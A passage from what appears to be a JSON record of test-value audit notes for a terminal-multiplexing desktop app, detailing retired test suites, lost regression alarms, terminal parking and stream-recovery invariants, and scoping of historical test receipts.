titles. Both topologies ordinary-park five xterms without enabling the lossy retention budget, assert bounded cells/heap/timer lag, then restore the bounded authoritative tail exactly once on the original PTY including output produced while parked and continued input/output. The headed oracle additionally keeps every remote target workspace and terminal unmounted in the host renderer before and after client recovery. Production-parity React contracts reproduce and remove the independent cold-park watcher/title feedback loop, including memo-cache discard, StrictMode cleanup replay, detached split-PTY replacement, and the zero-park fast path. A deterministic cross-boundary contract drives 24 real PTY trackers in distinct worktrees through 2,880 decorative spinner and bare-native redraw chunks and counts host publications, serialized bytes, renderer apply calls, and store mutations while preserving exact per-PTY raw chunks and per-worktree semantic transitions. Fake-clock continuation beyond the 30-minute stale boundary requires one deduplicated refresh per worktree every 15 minutes, globally spaced by at least 50 ms, with every mirrored working status still fresh. Exact-identical Pi plus rotating normalized Pi/Grok frames renew coarse working/permission state; rich prompt/tool/question fields retain their original 30-minute lease, and `stateStartedAt`/acknowledgement identity remain stable across title/hook source swaps. A separate headed desktop-client journey relaunches the host main process while retaining the daemon and a daemon-backgrounded PTY, then requires first-observation foreground sync and continued input/output on the same PTY. Unit coverage keeps layout versions out of snapshot output high-waters when a restored snapshot has no output sequence and retries an existing subscriber only after authoritative provider inventory proves the retained PTY exists. Separate headed/headless ACK-starvation tests recover one stalled stream without replacing its PTY. A headed output-drop oracle proves a successful snapshot probe cannot certify a stale live stream when the authoritative PTY sequence advanced beyond the client high-water. Unit coverage requires an unsequenced client to establish a first-probe baseline, remain attached at the same sequence, and recover only after a later probe advances. A capability-disabled run proves legacy hosts retain the prior lossy limit/TTL fallback. Unit tests cover exact-owner capability routing, raw-stream release, singleton side-effect facts with timed handoff cleanup, 64 simultaneous synthetic-title sources with zero decorative client events after convergence, per-client late-subscribe recovery, semantic bell/title transitions, local animation-frame preservation, legacy no-output-pause delivery gating with exact snapshot restore, provider-authoritative snapshots, 128 active streams plus retry after a 129th-stream capacity rejection, capacity-pressure backoff, full split-leaf remint reconciliation, truncation, and manual-disconnect queue fencing. Linux, Windows, live SSH, and production-scale paired hosts remain gaps. The audit removed the E2E parking override/debug-handle suite. Override exposure guards, delay/retention independence, TTL filtering and debug-handle forwarding alarms are lost. Retained real parking journeys do not establish equivalent test-harness configuration coverage. The test-value audit removes separate responsive-stream, intervening-control-frame and capacity-error classification examples. Retained multiplexer checks use fake clocks and captured transport callbacks; their per-stream isolation, deadline and probe-baseline assertions do not prove an actual host restart or equivalent replacement coverage. Historical run commands and results remain historical. The test-value audit removes the standalone retained/live metadata projection and additive-preference negative example from runtime-client-events.test.ts. Its remaining case checks partial-authority event admission through a captured callback; it does not establish full-pair projection, actual peer delivery or equivalent replacement coverage. Historical commands and results remain historical. The isolated accepted-handle-events observer suite is removed. Its runtime/worktree/pane membership, once-only delivery and listener-release ledger alarms are lost. Live hidden-retention evidence does not establish equivalent observer coverage. Audit1292: The entire host-session mirror empty-inventory settle suite is removed. Live-unpublished versus genuinely-empty hydration, same-ID revision response/in-flight fencing and cleared-tracking pending-probe invalidation alarms are lost. The singleton store and inventories were mocked; no real host census or resume delivery or equivalent replacement coverage is claimed. Audit1302: src/main/runtime/session-tabs-inventory-publication.test.ts: Keep actual runtime public inventory authority across renderer epochs/resync, fallback, aborts and invalid graph publishers. Remove copied nonempty publication, private scan counters/collector and known-host replacement, fake refresh that performs the restoration itself, environment capability flag, and private resume-store characterization whose fixture supplies reservation/rollback ordering. Lose isolated refresh/churn/receiver/capability and copied-payload wiring alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1346 removes the entire private-state-injected session-tabs rich-status boundary suite. Its stale task/question, neutral-title preservation, owner-change and provider-generation alarms are intentionally lost. Retained real terminal journeys do not establish equivalent replacement coverage. The prior mixed 42-contract execution receipt is historical and must not validate the reduced current selector; fresh validation remains required. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1396: src/renderer/src/components/terminal-pane/terminal-parked-watcher-reconciliation.test.ts reduced. Retire standalone reconcile set output and positive untouchedFreshSpawn/workspaceOwner copying alarms; no native watcher execution claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/runtime/mobile-session-tabs-agent-status-heartbeat.test.ts reduced. Loses FIFO fairness/spacing, semantic bypass/cancellation, delayed-boundary scheduling and teardown timer-cleanup alarms. Retained fixed emission cases do not replace those outcomes. No equivalent replacement coverage is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Module-layout cleanup: Removed TEST alarms for paired hook/OSC-title heartbeat continuity and freshness, unanswered/authoritative empty-inventory dispatch and sole-writer behavior, legacy-selector resolution, manual-disconnect fencing, queued-disconnect envelopes, storage-rejected host replacement and explicit-loopback SSH persistence. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/8652", "https://github.com/stablyai/orca/pull/10625" ], "invariant": "A host advertising terminal.paired-parking.v1 keeps the PTY and bounded authoritative history alive while an ordinary hidden-view park destroys the client xterm and releases its raw per-PTY stream. Reveal must restore up to the requested 5,000 rows, parked-time side effects/output, the same PTY identity, and continued input/output. Parked watcher synchronization compares parking semantics rather than fresh object identity, owns setup and cleanup across StrictMode replay, reconciles real PTY/layout changes, and performs no terminal-state scan when nothing is parked. After a host main-process relaunch, unknown local delivery-sync state must not be treated as proof that a surviving daemon PTY is already foregrounded. An empty headed session-tab inventory is authoritative only after the current renderer graph generation publishes a complete inventory and every execution host answers the PTY census; unpublished, resync-pending, transport-failed, and partially scoped inventories remain unverifiable, while genuinely authoritative empty and non-empty inventories settle and a scope-less legacy empty keeps its pre-authority best-effort settle so outdated hosts retain agent auto-resume. The unpublished-empty regression must keep the resume dispatch parked with exactly one daemon process/writer; restoring unconditional empty hydration must release one dispatch and create two live writers. If subscription precedes provider readiness, authoritative inventory must reconsider that existing subscriber without spawning, resizing, or changing reconnect state. A snapshot without an output high-water must keep it unknown rather than borrowing a layout version that can suppress newer live output. Hosts without the capability must gate hidden raw output before xterm scheduling and repaint from the authoritative snapshot on reveal while retaining the existing limit/TTL force-parking fallback. After the first semantic title state, decorative spinner frequency must add zero paired client-event frames and zero full session-tabs work between status-freshness leases regardless of hidden worktree count. Continuous working or permission evidence may refresh each affected worktree once per 15 minutes through one globally spaced FIFO so current and legacy viewers do not decay before 30 minutes; sibling PTYs share that worktree refresh, while local title animation, raw output, and semantic title, status, bell, completion, and query facts remain intact. A paired terminal stream whose delivery credits stop progressing must replace only that stream; command silence first probes authoritative state and replaces the stream if the probe times out or proves the PTY advanced beyond the client's delivered output sequence. When no comparable delivery high-water exists, the first sequenced probe establishes a baseline and only later advancement proves staleness. A same-sequence snapshot remains valid proof of a responsive silent command. A successful status probe may replace a pre-ready shared-control socket without rejecting or duplicating calls already waiting for that transport. Manual disconnect must retain pairing while preventing queued or passive calls and subscriptions from recreating transport until explicit Connect. A paired pane reconnecting to a relaunched host that has not yet published its window graph (an unpublished frame, bare or client-projected) must stay in recovery rather than retire, and the host's first published snapshot carrying the surface must reattach it; a published frame lacking the surface still retires it. The placeholder is only ever sent before the host's graph first publishes; afterwards a worktree with no tabs gets a real empty answer, pushed once to any client that asked during startup, so a paired client opening a never-opened host worktree still gets its first terminal.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct oldest/cap/TTL/last-active worktree ranking and equal-hidden-time tab activation-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Physical parking/restoration/stream-budget selectors and assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The decorative fanout suite retains only real OSC9999 ingestion through runtime/title heartbeat/viewer past the stale boundary, preserving stateStartedAt and clearing expired prompt metadata. Spinner volume/zero-work inventories, Pi/Grok frame tables, rich-status and foreground-reset examples are retired. Existing receipts for separate paired-terminal sources retain their original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. 